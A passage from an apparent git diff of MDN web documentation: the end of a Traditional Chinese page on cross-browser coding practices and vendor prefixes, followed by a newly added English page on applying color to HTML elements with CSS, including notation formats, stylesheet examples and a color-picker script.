+<p>至少在 Firefox、Chrome 或 Safari（因為兩者都基於相同的 WebKit 引擎）、Opera 及 Internet Explorer 測試您的程式碼。若遵循以上原則，你有一個單一的程式碼內容在目前所有的和未知的瀏覽器都測試過，在所有主要引擎都能運作下，極有可能表示您的程式碼將不會在未來被破壞。</p>
+<p>有時不同瀏覽器對特定功能的實作不盡相同。如果你有一個單一的程式碼內容，在所有常用的引擎中都沒問題，這可能表示，你使用了各瀏覽器間已經整合的行為，或著使用了尚未整合，而程式碼無關引擎的行為標準所堅持的部份。</p>
+<h2 id="特定瀏覽器支援的功能和前綴">特定瀏覽器支援的功能和前綴</h2>
+<h3 id="別針對目前或未來的瀏覽器版本做臨時方案">別針對目前或未來的瀏覽器版本做臨時方案</h3>
+<p>這又是一個常見的實例：假設目前瀏覽器臭蟲之間的關聯性可以代表未來也會繼續擁有如此的關聯。針對舊瀏覽器，如果您用做臨時方案的臭蟲在目前的瀏覽器已經不存在，那針對舊瀏覽器套用方案沒有問題；只針對舊瀏覽器下，一旦瀏覽器修正了 X 臭蟲，您可以肯定所有具有臭蟲 X 的瀏覽器都有臭蟲 Y，因此使用臭蟲 X 的存在來針對臭蟲 Y 的問題做解套。</p>
+<p>跟之前 UA 偵測中的建議一樣，「目前的版本」意指您所能測試到的最新版本。</p>
+<h3 id="避免依賴新潮的非標準功能">避免依賴新潮的非標準功能</h3>
+<p>就算加了前綴，使用新潮的功能依舊還是很危險：隨著規格的發展，瀏覽器前綴的實作也會遵循最新的規範而改變。一旦功能被標準化，含前綴的版本有可能會被刪除。</p>
+<p>瀏覽器開發者提供前綴與非標準功能給您是為了實驗和意見回饋，而非讓您將這些酷玩意散佈出去。如果您選擇使用它們，請準備經常更新您的網站以趕上變化。</p>
+<h3 id="當使用未普遍實作（即使是標準）的新潮功能時，記得測試備援方案">當使用未普遍實作（即使是標準）的新潮功能時，記得測試備援方案</h3>
+<p>要檢查在未實作所用功能的瀏覽器下瀏覽網頁會發生什麼事，尤其是您在工作時不會經常使用的瀏覽器。</p>
+<h3 id="除非針對過去有問題的版本，不要使用廠商前綴（Vender-prefix）功能">除非針對過去有問題的版本，不要使用廠商前綴（Vender-prefix）功能</h3>
+<p>廠商前綴的功能可以在將來的版本中改變。然而，一旦瀏覽器已提供不帶前綴的功能，您可以在確保不帶前綴版在可用時總會被套用下，使用前綴版本針對舊版本。一個很好的例子，假設<code>-vnd</code> 廠商已經將不帶前綴的 <code>make-it-pretty</code> 屬性實作加入新出品的瀏覽器，包含一個前綴版與不含前綴版作用不同的值「<code>sometimes</code>」：</p>
+<pre>&lt;style&gt;
+  .pretty-element {
+    -vnd-make-it-pretty: sometimes;
+    make-it-pretty: sometimes;
+  }
+&lt;/style&gt;
+</pre>
+<p>上述規則中，聲明的順序非常重要：無前綴者一定要排在最後。</p>
+<h3 id="在沒有瀏覽器支援前，不要使用不含前綴的_CSS_屬性或_API">在沒有瀏覽器支援前，不要使用不含前綴的 CSS 屬性或 API</h3>
+<p>除非不帶前綴的版本得到了廣泛支持，其行為可能仍會發生意想不到的改變。特別是，當沒有瀏覽器支援不帶前綴的版本時，就不要使用不帶前綴的版本。最終的語法不盡然會和任何帶前綴的語法相同。</p>
+<h2 id="程式碼維護">程式碼維護</h2>
+<h3 id="別忘了_>">別忘了 <code>&gt;</code></h3>
+<p>透過驗證器可以確保這個問題不會發生，但即使你的網站沒有完全驗證，你仍應確保你所有的 &gt; 字元都有出現。少了它可能會讓接下來的 Tag 名稱被當成上一個 Tag 所屬的屬性，而造成意想不到的結果。可能一小段沒問題，但接下來因為某段文字代表一個屬性而完全被破壞。舉例來說，以下是一段在不支援 HTML5 瀏覽器下可正常運作，但卻讓支援 HTML5 的瀏覽器無法正常運作的網頁程式碼：</p>
+<pre class="brush: html">&lt;form action="http://www.example.com"&gt;
+  &lt;input type="submit" value="傳送此表單"
+&lt;/form&gt;
+</pre>
+<p>因為在 <code>input</code> Tag 的最後忘了加上 <code>&gt;</code>。</p>
+<h3 id="別把失敗的實驗品留在您的網頁程式碼裡">別把失敗的實驗品留在您的網頁程式碼裡</h3>
+<p>如果您想嘗試一個 CSS 屬性或其他的酷東西，但沒有效果，請記得拿掉。不然您無法預知這東西未來會做什麼壞事。</p>
diff --git a/files/zh-tw/web/html/applying_color/index.html b/files/zh-tw/web/html/applying_color/index.html
new file mode 100644
index 0000000000..4e9aa26498
--- /dev/null
+++ b/files/zh-tw/web/html/applying_color/index.html
@@ -0,0 +1,502 @@
+---
+title: Applying color to HTML elements using CSS
+slug: Web/HTML/Applying_color
+translation_of: Web/HTML/Applying_color
+---
+<div>{{HTMLRef}}</div>
+
+<p>The use of color is a fundamental form of human expression. Children experiment with color before they even have the manual dexterity to draw. Maybe that's why color is one of the first things people often want to experiment with when learning to develop web sites. <span class="seoSummary">With <a href="/en-US/docs/Web/CSS">CSS</a>, there are lots of ways to add color to your <a href="/en-US/docs/Web/HTML">HTML</a> <a href="/en-US/docs/Web/HTML/Element">elements</a> to create just the look you want. This article is a primer introducing each of the ways CSS color can be used in HTML.</span></p>
+
+<p>Fortunately, adding color to your HTML is actually really easy to do, and you can add color to nearly anything.</p>
+
+<p>We're going to touch on most of what you'll need to know when using color, including a {{anch("Things that can have color", "list of what you can color and what CSS properties are involved")}}, {{anch("How to describe a color", "how you describe colors")}}, and how to actually {{anch("Using color", "use colors both in stylesheets and in scripts")}}. We'll also take a look at how to {{anch("Letting the user picka color", "let the user pick a color")}}.</p>
+
+<p>Then we'll wrap things up with a brief discussion of how to {{anch("Using color wisely", "use color wisely")}}: how to select appropriate colors, keeping in mind the needs of people with differing visual capabilities.</p>
+
+<h2 id="Things_that_can_have_color">Things that can have color</h2>
+
+<p>At the element level, everything in HTML can have color applied to it. Instead, let's look at things in terms of the kinds of things that are drawn in the elements, such as text and borders and so forth. For each, we'll see a list of the CSS properties that apply color to them.</p>
+
+<p>At a fundamental level, the {{cssxref("color")}} property defines the foreground color of an HTML element's content and the {{cssxref("background-color")}} property defines the element's background color. These can be used on just about any element.</p>
+
+<h3 id="Text">Text</h3>
+
+<p>Whenever an element is rendered, these properties are used to determine the color of the text, its background, and any decorations on the text.</p>
+
+<dl>
+ <dt>{{cssxref("color")}}</dt>
+ <dd>The color to use when drawing the text and any <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration">text decorations</a> (such as the addition of under- or overlines, strike-through lines, and so forth.</dd>
+ <dt>{{cssxref("background-color")}}</dt>
+ <dd>The text's background color.</dd>
+ <dt>{{cssxref("text-shadow")}}</dt>
+ <dd>Configures a shadow effect to apply to text. Among the options for the shadow is the shadow's base color (which is then blurred and blended with the background based on the other parameters). See {{SectionOnPage("/en-US/docs/Learn/CSS/Styling_text/Fundamentals", "Text drop shadows")}} to learn more.</dd>
+ <dt>{{cssxref("text-decoration-color")}}</dt>
+ <dd>By default, text decorations (such as underlines, strikethroughs, etc) use the <code>color</code> property as their colors. However, you can override that behavior and use a different color for them with the <code>text-decoration-color</code> property.</dd>
+ <dt>{{cssxref("text-emphasis-color")}}</dt>
+ <dd>The color to use when drawing emphasis symbols adjacent to each character in the text. This is used primarily when drawing text for East Asian languages.</dd>
+ <dt>{{cssxref("caret-color")}}</dt>
+ <dd>The color to use when drawing the {{Glossary("caret")}} (sometimes referred to as the text input cursor) within the element. This is only useful in elements that are editable, such as {{HTMLElement("input")}} and {{HTMLElement("textarea")}} or elements whose HTML {{htmlattrxref("contenteditable")}} attribute is set.</dd>
+</dl>
+
+<h3 id="Boxes">Boxes</h3>
+
+<p>Every element is a box with some sort of content, and has a background and a border in addition to whatever contents the box may have.</p>
+
+<dl>
+ <dt>{{anch("Borders")}}</dt>
+ <dd>See the section {{anch("Borders")}} for a list of the CSS properties you can use to set the colors of a box's borders.</dd>
+ <dt>{{cssxref("background-color")}}</dt>
+ <dd>The background color to use in areas of the element that have no foreground content.</dd>
+ <dt>{{cssxref("column-rule-color")}}</dt>
+ <dd>The color to use when drawing the line separating columns of text.</dd>
+ <dt>{{cssxref("outline-color")}}</dt>
+ <dd>The color to use when drawing an outline around the outside of the element. This outline is different from the border in that it doesn't get space set aside for it in the document (so it may overlap other content). It's generally used as a focus indicator, to show which element will receive input events.</dd>
+</dl>
+
+<h3 id="Borders">Borders</h3>
+
+<p>Any element can have a <a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">border</a> drawn around it. A basic element border is a line drawn around the edges of the element's content. See {{SectionOnPage("/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model", "Box properties")}} to learn about the relationship between elements and their borders, and the article <a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Styling borders using CSS</a> to learn more about applying styles to borders.</p>
+
+<p>You can use the {{cssxref("border")}} shorthand property, which lets you configure everything about the border in one shot (including non-color features of borders, such as its <a href="/en-US/docs/Web/CSS/border-width">width</a>, <a href="/en-US/docs/Web/CSS/border-style">style</a> (solid, dashed, etc.), and so forth.</p>
+
+<dl>
+ <dt>{{cssxref("border-color")}}</dt>
+ <dd>Specifies a single color to use for every side of the element's border.</dd>
+ <dt>{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}</dt>
+ <dd>Lets you set the color of the corresponding side of the element's border.</dd>
+ <dt>{{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}</dt>
+ <dd>With these, you can set the color used to draw the borders which are closest to the start and end of the block the border surrounds. In a left-to-right writing mode (such as the way English is written), the block start border is the top edge and the block end is the bottom. This differs from the inline start and end, which are the left and right edges (corresponding to where each line of text in the box begins and ends).</dd>
+ <dt>{{cssxref("border-inline-start-color")}} and {{cssxref("border-inline-end-color")}}</dt>
+ <dd>These let you color the edges of the border closest to to the beginning and the end of the start of lines of text within the box. Which side this is will vary depending on the {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} properties, which are typically (but not always) used to adjust text directionality based on the language being displayed. For example, if the box's text is being rendered right-to-left, then the <code>border-inline-start-color</code> is applied to the right side of the border.</dd>
+</dl>
+
+<h3 id="Other_ways_to_use_color">Other ways to use color</h3>
+
+<p>CSS isn't the only web technology that supports color. There are graphics technologies that are available on the web which also support color.</p>
+
+<dl>
+ <dt>The HTML <a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a></dt>
+ <dd>Lets you draw 2D bitmapped graphics in a {{HTMLElement("canvas")}} element. See our <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a> to learn more.</dd>
+ <dt><a href="/en-US/docs/Web/SVG">SVG</a> (Scalable Vector Graphics)</dt>
+ <dd>Lets you draw images using commands that draw specific shapes, patterns, and lines to produce an image. SVG commands are formatted as XML, and can be embedded directly into a web page or can be placed in he page using the {{HTMLElement("img")}} element, just like any other type of image.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>The Web Graphics Library is an OpenGL ES-based API for drawing high-performance 2D and 3D graphics on the Web. See <a href="/en-US/docs/Learn/WebGL">Learn WebGL for 2D and 3D</a> graphics to find out more.</dd>
+</dl>
+
+<h2 id="How_to_describe_a_color">How to describe a color</h2>
+
+<p>In order to represent a color in CSS, you have to find a way to translate the analog concept of "color" into a digital form that a computer can use. This is typically done by breaking down the color into components, such as how much of each of a set of primary colors to mix together, or how bright to make the color. As such, there are several ways you can describe color in CSS.</p>
+
+<p>For more detailed discussion of each of the color value types, see the reference for the CSS {{cssxref("&lt;color&gt;")}} unit.</p>
+
+<h3 id="Keywords">Keywords</h3>
+
+<p>A set of standard color names have been defined, letting you use these keywords instead of numeric representations of colors if you choose to do so and there's a keyword representing the exact color you want to use. Color keywords include the standard primary and secondary colors (such as <code>red</code>, <code>blue</code>, or <code>orange</code>), shades of gray (from <code>black</code> to <code>white</code>, including colors like <code>darkgray</code> and <code>lightgrey</code>), and a variety of other blended colors including <code>lightseagreen</code>, <code>cornflowerblue</code>, and <code>rebeccapurple</code>.</p>
+
+<p>See {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} for a list of all available color keywords.</p>
+
+<h3 id="RGB_values">RGB values</h3>
+
+<p>There are three ways to represent an RGB color in CSS.</p>
+
+<h4 id="Hexadecimal_string_notation">Hexadecimal string notation</h4>
+
+<p>Hexadecimal string notation represents a color using hexadecimal digits to represent each of the color components (red, green, and blue). It may also include a fourth component: the alpha channel (or opacity). Each color component can be represented as a number between 0 and 255 (0x00 and 0xFF) or, optionally, as a number between 0 and 15 (0x0 and 0xF). All components <em>must</em> be specified using the same number of digits. If you use the single-digit notation, the final color is computed by using each component's digit twice; that is, <code>"#D"</code> becomes <code>"#DD"</code> when drawing.</p>
+
+<p>A color in hexadecimal string notation always begins with the character <code>"#"</code>. After that come the hexadecimal digits of the color code. The string is case-insensitive.</p>
+
+<dl>
+ <dt><code>"#rrggbb"</code></dt>
+ <dd>Specifies a fully-opaque color whose red component is the hexadecimal number <code>0xrr</code>, green component is <code>0xgg</code>, and blue component is <code>0xbb</code>.</dd>
+ <dt><code>"#rrggbbaa"</code></dt>
+ <dd>Specifies a color whose red component is the hexadecimal number <code>0xrr</code>, green component is <code>0xgg</code>, and blue component is <code>0xbb</code>. The alpha channel is specified by <code>0xaa</code>; the lower this value is, the more translucent the color becomes.</dd>
+ <dt><code>"#rgb"</code></dt>
+ <dd>Specifies a color whose red component is the hexadecimal number <code>0xrr</code>, green component is <code>0xgg</code>, and blue component is <code>0xbb</code>.</dd>
+ <dt><code>"#rgba"</code></dt>
+ <dd>Specifies a color whose red component is the hexadecimal number <code>0xrr</code>, green component is <code>0xgg</code>, and blue component is <code>0xbb</code>. The alpha channel is specified by <code>0xaa</code>; the lower this value is, the more translucent the color becomes.</dd>
+</dl>
+
+<p>As an example, you can represent the opaque color bright blue as <code>"#0000ff"</code> or <code>"#00f"</code>. To make it 25% opaque, you can use <code>"#0000ff44"</code> or <code>"#00f4"</code>.</p>
+
+<h4 id="RGB_functional_notation">RGB functional notation</h4>
+
+<p>RGB (Red/Green/Blue) functional notation, like hexadecimal string notation, represents colors using their red, green, and blue components (as well as, optionally, an alpha channel component for opacity). However, instead of using a string, the color is defined using the CSS function {{cssxref("color_value", "rgb()", "#rgb()")}}. This function accepts as its input parameters the values of the red, green, and blue components and an optional fourth parameter, the value for the alpha channel.</p>
+
+<p>Legal values for each of these parameters are:</p>
+
+<dl>
+ <dt><code>red</code>, <code>green</code>, and <code>blue</code></dt>
+ <dd>Each must be an {{cssxref("&lt;integer&gt;")}} value between 0 and 255 (inclusive), or a {{cssxref("&lt;percentage&gt;")}} from 0% to 100%.</dd>
+ <dt><code>alpha</code></dt>
+ <dd>The alpha channel is a number between 0.0 (fully transparent) and 1.0 (fully opaque). You can also specify a percentage where 0% is the same as 0.0 and 100% is the same as 1.0.</dd>
+</dl>
+
+<p>For example, a bright red that's 50% opaque can be represented as <code>rgb(255, 0, 0, 0.5)</code> or <code>rgb(100%, 0, 0, 50%)</code>.</p>
+
+<h3 id="HSL_functional_notation">HSL functional notation</h3>
+
+<p>Designers and artists often prefer to work using the {{interwiki("wikipedia", "HSL and HSV", "HSL")}} (Hue/Saturation/Luminosity) color method. On the web, HSL colors are represented using HSL functional notation. The <code>hsl()</code> CSS function is very similar to the <code>rgb()</code> function in usage otherwise.</p>
+
+<div style="padding-bottom: 20px;">
+<figure style="width: 500px;"><img alt="HSL color cylinder" src="https://mdn.mozillademos.org/files/15445/1200px-HSL_color_solid_cylinder_alpha_lowgamma.png" style="height: 375px; width: 500px;">
+<figcaption><em><strong>Figure 1. An HSL color cylinder.</strong> Hue defines the actual color based on the position along a circular color wheel representing the colors of the visible spectrum. Saturation is a percentage of how much of the way between being a shade of gray and having the maximum possible amount of the given hue. As the value of luminance (or lightness) increases, the color transitions from the darkest possible to the brightest possible (from black to white). Image courtesy of user <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a> on <a href="https://www.wikipedia.org/">Wikipedia</a>, distributed under the <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> license.</em></figcaption>
+</figure>
+</div>
+
+<p>The value of the hue (H) component of an HSL color is an angle from red around through yellow, green, cyan, blue, and magenta (ending up back at red again at 360°) that identifies what the base color is. The value can be specified in any {{cssxref("&lt;angle&gt;")}} unit supported by CSS, including degrees (<code>deg</code>), radians (<code>rad</code>), gradians (<code>grad</code>), or turns (<code>turn</code>). But this doesn't control how vivid or dull, or how bright or dark the color is.</p>
+
+<p>The saturation (S) component of the color specifies what percentage of the final color is comprised of the specified hue. The rest is defined by the grey level provided by the luminance (L) component.</p>
+
+<p>Think of it like creating the perfect paint color:</p>
+
+<ol>
+ <li>You start with base paint that's the maximum intensity possible for a given color, such as  the most intense blue that can be represented by the user's screen. This is the <strong>hue</strong> (H) component: a value representing the angle around the color wheel for the vivid hue we want to use as our base.</li>
+ <li>Then select a greyscale paint that corresponds how bright you want the color to be; this is the luminance. Do you want it to be very bright and nearly white, or very dark and closer to black, or somewhere in between? This is specified using a percentage, where 0% is perfectly black and 100% is perfectly white. (regardless of the saturation or hue). In between values are a literal grey area.</li>
+ <li>Now that you have a grey paint and a perfectly vivid color, you need to mix them together. The saturation (S) component of the color indicates what percentage of the final color should be comprised of that perfectly vivid color. The rest of the final color is made up of the grey paint that represents the saturation.</li>
+</ol>
+
+<p>You can also optionally include an alpha channel, to make the color less than 100% opaque.</p>
+
+<p>Here are some sample colors in HSL notation:</p>
+
+<div id="hsl-swatches">
+<div class="hidden">
+<pre class="brush: css">table {
+  border: 1px solid black;
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+  border-spacing: 0;
+  border-collapse: collapse;
+}
+
+th, td {
+  border: 1px solid black;
+  padding:4px 6px;
+  text-align: left;
+}
+
+th {
+  background-color: hsl(0, 0%, 75%);
+}</pre>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;thead&gt;
+  &lt;tr&gt;
+   &lt;th scope="col"&gt;Color in HSL notation&lt;/th&gt;
+   &lt;th scope="col"&gt;Example&lt;/th&gt;
+  &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(90deg, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(90deg, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(90, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(90, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 50%, 75%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 50%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 75%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 90%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(270deg, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(270deg, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("hsl-swatches", 300, 260)}}</p>
+</div>
+
+<div class="note">
+<p>Note that when you omit the hue's unit, it's assumed to be in degrees (<code>deg</code>).</p>
+</div>
+
+<h2 id="Using_color">Using color</h2>
+
+<p>Now that you know what CSS properties exist that let you apply color to elements and the formats you can use to describe colors, you can put this together to begin to make use of color. As you may have seen from the list under {{anch("Things that can have color")}}, there are plenty of things you can color with CSS. Let's look at this from two sides: using color within a {{Glossary("stylesheet")}}, and adding and changing color using {{Glossary("JavaScript")}} code to alter the styles of elements.</p>
+
+<h3 id="Specifying_colors_in_stylesheets">Specifying colors in stylesheets</h3>
+
+<p>The easiest way to apply color to elements—and the way you'll usually do it—is to simply specify colors in the CSS that's used when rendering elements. While we won't use every single property mentioned previously, we'll look at a couple of examples. The concept is the same anywhere you use color.</p>
+
+<p>Let's take a look at an example, starting by looking at the results we're trying to achieve:</p>
+
+<div>{{EmbedLiveSample("Specifying_colors_in_stylesheets", 650, 150)}}</div>
+
+<h4 id="HTML">HTML</h4>
+
+<p>The HTML responsible for creating the above example is shown here:</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box boxLeft"&gt;
+    &lt;p&gt;
+      This is the first box.
+    &lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div class="box boxRight"&gt;
+    &lt;p&gt;
+      This is the second box.
+    &lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>This is pretty simple, using a {{HTMLElement("div")}} as a wrapper around the contents, which consists of two more <code>&lt;div&gt;</code>s, each styled differently with a single paragraph ({{HTMLElement("p")}}) in each box.</p>
+
+<p>The magic happens, as usual, in the CSS, where we'll apply colors define the layout for the HTML above.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<p>We'll look at the CSS to create the above results a piece at a time, so we can review the interesting parts one by one.</p>
+
+<pre class="brush: css">.wrapper {
+  width: 620px;
+  height: 110px;
+  margin: 0;
+  padding: 10px;
+  border: 6px solid mediumturquoise;
+}</pre>
+
+<p>The <code>.wrapper</code> class is used to assign styles to the {{HTMLElement("div")}} that encloses all of our other content. This establishes thesize of the container using {{cssxref("width")}} and {{cssxref("height")}} as well as its {{cssxref("margin")}} and {{cssxref("padding")}}.</p>
+
+<p>Of more interest to our discussion here is the use of the {{cssxref("border")}} property to establish a border around the outside edge of the element. This border is a solid line, 6 pixels wide, in the color <code>mediumturquoise</code>.</p>
+
+<p>Our two colored boxes share a number of properties in common, so next we establish a class, <code>.box</code>, that defines those shared properties:</p>
+
+<pre class="brush: css">.box {
+  width: 290px;
+  height: 100px;
+  margin: 0;
+  padding: 4px 6px;
+  font: 28px "Marker Felt", "Zapfino", cursive;
+  display: flex;
+  justify-content: center;
+  align-items: center;
+}</pre>
+
+<p>In brief, <code>.box</code> establishes the size of each box, as well as the configuration of the font used within. We also take advantage of <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a> to easily center the contents of each box. We enable <code>flex</code> mode using {{cssxref("display", "display: flex")}}, and set both {{cssxref("justify-content")}} and {{cssxref("align-items")}} to <code>center</code>. Then we can create a class for each of the two boxes that defines the propeties that differ between the two.</p>
+
+<pre class="brush: css">.boxLeft {
+  float: left;
+  background-color: rgb(245, 130, 130);
+  outline: 2px solid darkred;
+}</pre>
+
+<p>The <code>.boxLeft</code> class—which, cleverly, is used to style the box on the left—floats the box to the left, then sets up the colors:</p>
+
+<ul>
+ <li>The box's background color is set by changing the value of the CSS {{cssxref("background-color")}} property to <code>rgb(245, 130, 130)</code>.</li>
+ <li>An outline is defined for the box. Unlike the more commonly used <code>border</code>, {{cssxref("outline")}} doesn't affect layout at all; it draws over the top of whatever may happen to be outside the element's box instead of making room as <code>border</code> does. This outline is a solid, dark red line that's two pixels thick. Note the use of the <code>darkred</code> keyword when specifying the color.</li>
+ <li>Notice that we're not explicitly setting the text color. That means the value of {{cssxref("color")}} will be inherited from the nearest containing element that defines it. By default, that's black.</li>
+</ul>
+
+<pre class="brush: css">.boxRight {
+  float: right;
+  background-color: hsl(270deg, 50%, 75%);
+  outline: 4px dashed rgb(110, 20, 120);
+  color: hsl(0deg, 100%, 100%);
+  text-decoration: underline wavy #88ff88;
+  text-shadow: 2px 2px 3px black;
+}</pre>
+
+<p>Finally, the <code>.boxRight</code> class describes the unique properties of the box that's drawn on the right. It's configured to float the box to the right so that it appears next to the previous box. Then the following colors are established:</p>
+
+<ul>
+ <li>The <code>background-color</code> is set using the HSL value specified using <code>hsl(270deg, 50%, 75%)</code>. This is a medium purple color.</li>
+ <li>The box's <code>outline</code> is used to specify that the box should be enclosed in a four pixel thick dashed line whose color is a somewhat deeper purple (<code>rgb(110, 20, 120)</code>).</li>
+ <li>The foreground (text) color is specified by setting the {{cssxref("color")}} property to <code>hsl(0deg, 100%, 100%)</code>. This is one of many ways to specify the color white.</li>
+ <li>We add a green wavy line under the text with {{cssxref("text-decoration")}}.</li>
+ <li>Finally, a bit of a shadow is added to the text using {{cssxref("text-shadow")}}. Its <code>color</code> parameter is set to <code>black</code>.</li>
+</ul>
+
+<h2 id="Letting_the_user_pick_a_color">Letting the user pick a color</h2>
+
+<p>There are many situations in which your web site may need to let the user select a color. Perhaps you have a customizable user interface, or you're implementing a drawing app. Maybe you have editable text and need to let the user choose the text color. Or perhaps your app lets the user assign colors to folders or items. Although historically it's been necessary to implement your own {{interwiki("wikipedia", "color picker")}}, HTML now provides support for browsers to provide one for your use through the {{HTMLElement("input")}} element, by using <code>"color"</code> as the value of its {{htmlattrxref("type", "input")}} attribute.</p>
+
+<p>The <code>&lt;input&gt;</code> element represents a color only in the {{anch("Hexadecimal string notation", "hexadecimal string notation")}} covered above.</p>
+
+<h3 id="Example_Picking_a_color">Example: Picking a color</h3>
+
+<p>Let's look at a simple example, in which the user can choose a color. As the user adjusts the color, the border around the example changes to reflect the new color. After finishing up and picking the final color, the color picker's value is displayed.</p>
+
+<p>{{EmbedLiveSample("Example_Picking_a_color", 525, 275)}}</p>
+
+<div class="note">
+<p>On macOS, you indicate that you've finalized selection of the color by closing the color picker window.</p>
+</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>The HTML here creates a box that contains a color picker control (with a label created using the {{HTMLElement("label")}} element) and an empty paragraph element ({{HTMLElement("p")}}) into which we'll output some text from our JavaScript code.</p>
+
+<pre class="brush: html">&lt;div id="box"&gt;
+  &lt;label for="colorPicker"&gt;Border color:&lt;/label&gt;
+  &lt;input type="color" value="#8888ff" id="colorPicker"&gt;
+  &lt;p id="output"&gt;&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<p>The CSS simply establishes a size for the box and some basic styling for appearances. The border is also established with a 2-pixel width and a border color that won't last, courtesy of the JavaScript below...</p>
+
+<pre class="brush: css">#box {
+  width: 500px;
+  height: 200px;
+  border: 2px solid rgb(245, 220, 225);
+  padding: 4px 6px;
+  font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the <code><a href="/en-US/docs/Web/HTML/Element/input/color">&lt;input type="color"&gt;</a></code> element.</p>
+
+<pre class="brush: js">let colorPicker = document.getElementById("colorPicker");
+let box = document.getElementById("box");
+let output = document.getElementById("output");
+
+box.style.borderColor = colorPicker.value;
+
+colorPicker.addEventListener("input", function(event) {
+  box.style.borderColor = event.target.value;
+}, false);
+
+colorPicker.addEventListener("change", function(event) {
+  output.innerText = "Color set to " + colorPicker.value + ".";
+}, false);</pre>
+
+<p>The {{event("input")}} event is sent every time the value of the element changes; that is, every time the user adjusts the color in the color picker. Each time this event arrives, we set the box's border color to match the color picker's current value.</p>
+
+<p>The {{event("change")}} event is received when the color picker's value is finalized. We respond by setting the contents of the <code>&lt;p&gt;</code> element with the ID <code>"output"</code> to a string describing the finally selected color.</p>
+
+<h2 id="Using_color_wisely">Using color wisely</h2>
+
+<p>Making the right choices when selecting colors when designing a web site can be a tricky process, especially if you aren't well-grounded in art, design, or at least basic color theory. The wrong color choice can render your site unattractive, or even worse, leave the content unreadable due to problems with contrast or conflicting colors. Worse still, if using the wrong colors can result in your content being outright unusable by people withcertain vision problems, particularly color blindness.</p>
+
+<h3 id="Finding_the_right_colors">Finding the right colors</h3>
+
+<p>Coming up with just the right colors can be tricky, especially without training in art or design. Fortunately, there are tools available that can help you. While they can't replace having a good designer helping you make these decisions, they can definitely get you started.</p>
+
+<h4 id="Base_color">Base color</h4>
+
+<p>The first step is to choose your <strong>base color</strong>. This is the color that in some way defines your web site or the subject matter of the site. Just as we associate green with the beverage {{interwiki("wikipedia", "Mountain Dew")}} and one might think of the color blue in relationship with the sky or the ocean, choosing an appropriate base color to represent your site is a good place to start. There are plenty of ways to select a base color; a few ideas include:</p>
+
+<ul>
+ <li>A color that is naturally associated with the topic of your content, such as the existing color identified with a product or idea or a color representative of the emotion you wish to convey.</li>
+ <li>A color that comes from imagery associated with what your content is about. If you're creating a web site about a given item or product, choose a color that's physically present on that item.</li>
+ <li>Browse web sites that let you look at lots of existing color palettes and images to find inspiration.</li>
+</ul>
+
+<p>When trying to decide upon a base color, you may find that browser extensions that let you select colors from web content can be particularly handy. Some of these are even specifically designed to help with this sort of work. For example, the web site <a href="http://www.colorzilla.com/">ColorZilla</a> offers an extension (<a href="http://www.colorzilla.com/chrome">Chrome</a> / <a href="http://www.colorzilla.com/firefox">Firefox</a>) that offers an eyedropper tool for picking colors from the web. It can also take averages of the colors of pixels in various sized areas or even a selected area of the page.</p>
+
+<div class="note">
